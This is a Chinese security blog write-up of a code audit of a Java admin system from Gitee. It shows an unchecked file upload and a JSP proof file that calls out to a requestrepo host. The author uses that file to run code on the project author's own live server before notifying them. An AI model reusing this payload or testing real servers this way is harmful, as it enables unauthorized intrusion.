今天刚睡醒,看到1群里有师傅发了套系统,闲来无事就顺着师傅给的链接去gitte下载了项目,审计一下
代码审计
漏洞测试
最后
代码审计
环境启动后,简单扫了一遍代码,发现漏洞不少啊,sql注入,文件上传,xss应有尽有,还有不少组件漏洞
直接进入我们的正题,环境搭建好后进入后台,在用户管理处,发现在用户介绍那里可以上传文件
尝试上传文件抓包
发现这个上传点貌似不是上传到本地,而是上传到作者的远程服务器上?
根据路由定位对应代码
(value="/upload")
publicResultupload(String filepath,HttpServletRequest request){
Result result = newResult();
String fileReturnPath = "";
List<String> uploadFileList = newArrayList<String>();
try {
//将当前上下文初始化给 CommonsMutipartResolver (多部分解析器)
CommonsMultipartResolver multipartResolver=newCommonsMultipartResolver(request.getSession().getServletContext());
//检查form中是否有enctype="multipart/form-data"
if(multipartResolver.isMultipart(request)){
//将request变成多部分request
MultipartHttpServletRequest multiRequest=(MultipartHttpServletRequest)request;
//获取multiRequest 中所有的文件名
Iterator iter=multiRequest.getFileNames();
while(iter.hasNext()){
//一次遍历所有文件
MultipartFile file=multiRequest.getFile(iter.next().toString());
if(file!=null){
//创建保存路径
String fileSavePath = CreateFileSavePath(filepath);
//保存文件
String filename = StringUtil.UrlDecode(file.getOriginalFilename());
save(file,fileSavePath+"/"+ filename);
//创建返回URL
fileReturnPath = z.sp.get("fileserverurl")+"/files/"+filepath+"/"+filename;
uploadFileList.add(fileReturnPath);
这里看代码貌似没有上传远程服务器的样子,看下获取路径的代码
protected String CreateFileSavePath(String filepath)throws Exception{
StringfileSavePath= TomcatUtil.getTomcatProjectPath()+"/files";
//判读路径是否为空
if(!"".equals(filepath) && filepath!=null) {
fileSavePath = fileSavePath+"/"+filepath;
}
// 判断文件目录是否存在如果不存在怎么创建
Filedir=newFile(fileSavePath);
if (!dir.exists() && !dir.isDirectory()) {
//创建多级目录
dir.mkdirs();
}
return fileSavePath;
}
获取的也是本地tomcat的路径,这里我蒙了,刚好项目是打包环境没法动态调试,好像不是这里
发现数据包中还有个return_url_head参数,这里也没看到,全局搜索
发现了有.jsp文件有
<title>文件上传</title>
<%@include file="/views/common/common.jsp"%>
<scripttype="text/javascript">
$(function() {
var return_url_head = '${sp.fileserverurl}';
var upload_url = return_url_head+'/upload?filepath='+$("#zid").val()+'&return_url_head='+encodeURIComponent(return_url_head);
//var upload_url = return_url_head+'/upload?filepath='+$("#zid").val();
$("#uploadify").uploadifive({
uploadScript:upload_url,
auto: true,
fileDataName:'fileData',
fileObjName:'fileData',
buttonText: '请选择要上传的文件',
queueID: 'queue',
height: 50,
width : 220,
multi: false,
onFallback:function(){
$("#alertInfo").text("您的浏览器不支持HTML5文件上传控件,请使用支持HTML5的浏览器后使用。如:Chrome")
},onUploadComplete : function(file, data){
var obj = JSON.parse(data);
if (obj.code == "SUCCESS") {
varColumnId = $("#ColumnId").val();
if(isNotNull(ColumnId)){
window.opener.OpenFileUploadReturn(ColumnId,obj.data);
}
window.close();
} else {
$("#alertInfo").text(obj.msg);
}
},onAddQueueItem:function(file){
貌似是jsp处理的文件上传,也就是说代码找错了
这里没有看到有对文件后缀进行检测,那么来测试下
漏洞测试
随便上传个文件看下访问功能点是否有被弃用
提示上传成功
WC
尝试上传jsp,看下能否解析,这里就不传🐎了,上传个测试dnslog的jsp代码
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>SendHTTPRequest</title>
</head>
<body>
<%
String targetUrl = "https://oynkd4m9.requestrepo.com"; // 替换为你的目标URL
URL url = newURL(targetUrl);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
int responseCode = connection.getResponseCode();
out.println("<h2>Response Code: " + responseCode + "</h2>");
BufferedReaderin = null;
StringBuilder responseBody = newStringBuilder();
try {
in = newBufferedReader(newInputStreamReader(connection.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null) {
responseBody.append(inputLine);
}
} finally {
if (in != null) {
in.close();
}
}
// 打印结果
out.println("<h3>Response Body:</h3>");
out.println("<pre>" + responseBody.toString() + "</pre>");
%>
</body>
</html>
提示上传成功,访问测试下
成功拿下,麻溜联系作者修改了
原文始发于微信公众号(菜狗安全):从本地代码审计到拿下项目作者服务器?
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论